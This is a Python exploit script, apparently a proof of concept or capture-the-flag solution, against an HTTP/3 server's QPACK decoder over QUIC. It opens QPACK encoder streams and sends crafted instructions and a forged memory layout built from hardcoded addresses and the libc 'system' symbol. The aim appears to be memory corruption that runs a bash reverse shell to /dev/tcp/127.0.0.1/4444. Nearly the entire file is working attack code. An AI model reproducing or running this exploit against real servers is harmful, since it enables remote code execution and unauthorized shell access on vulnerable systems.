STREAM_TYPE_CONTROL = 0x00
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03

INSTRUCTION_SET_CAPACITY_16 = b"\x3f\x07"

class LowLevelH3ClientProtocol(asyncio.DatagramProtocol):
    def __init__(self, quic_config: QuicConfiguration, host: str, port: int):
        self.transport = None
        self.quic = QuicConnection(configuration=quic_config)
        self.host = host
        self.port = port
        self.connected_event = asyncio.Event()

    def connection_made(self, transport):
        self.transport = transport
        self.quic.connect((self.host, self.port), now=asyncio.get_event_loop().time())
        self.process_quic_outbound()

    def datagram_received(self, data, addr):
        self.quic.receive_datagram(data, addr, now=asyncio.get_event_loop().time())
        self.process_quic_events()
        self.process_quic_outbound()

    def process_quic_events(self):
        event = self.quic.next_event()
        while event is not None:
            if isinstance(event, HandshakeCompleted):
                self.connected_event.set()
                self.setup_h3_uni_streams()
            elif isinstance(event, StreamDataReceived):
                pass
            elif isinstance(event, StreamReset):
                pass
            elif isinstance(event, ConnectionTerminated):
                pass
            event = self.quic.next_event()

    def setup_h3_uni_streams(self):
        enc1 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc1, bytes([STREAM_TYPE_QPACK_ENCODER]))
        self.quic.send_stream_data(enc1, INSTRUCTION_SET_CAPACITY_16)
        ins1 = b"\x41f\x01b"
        self.quic.send_stream_data(enc1, ins1)

        self.process_quic_outbound()

        bidirectional_stream_id = self.quic.get_next_available_stream_id(is_unidirectional=False)
        payload=b"bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\x00"
        self.quic.send_stream_data(bidirectional_stream_id, p64(0x7ffff7400000+libc.sym['system'])+p64(0x55555585d5e8)+p64(0)+payload+b"a"*(0x70-0x18-len(payload))+p64(0x555555861480))
        

        enc2 = self.quic.get_next_available_stream_id(is_unidirectional=True)
        self.quic.send_stream_data(enc2, bytes([STREAM_TYPE_QPACK_ENCODER]))
        ins2 = b"\x47"+p64(0x55555585d5d0)
        self.quic.send_stream_data(enc2, ins2)

        self.process_quic_outbound()

    def process_quic_outbound(self):
        for datagram, addr in self.quic.datagrams_to_send(now=asyncio.get_event_loop().time()):
            self.transport.sendto(datagram, addr)

async def main():
    configuration = QuicConfiguration(
        is_client=True,
        alpn_protocols=["h3"],
    )
    configuration.verify_mode = ssl.CERT_NONE

    loop = asyncio.get_running_loop()
    
    host = "127.0.0.1"
    port = 443 

    transport, protocol = await loop.create_datagram_endpoint(
        lambda: LowLevelH3ClientProtocol(configuration, host, port),
        remote_addr=(host, port)
    )

    try:
        await asyncio.wait_for(protocol.connected_event.wait(), timeout=5.0)
    except asyncio.TimeoutError:
        pass
    finally:
        transport.close()

if __name__ == "__main__":
    asyncio.run(main())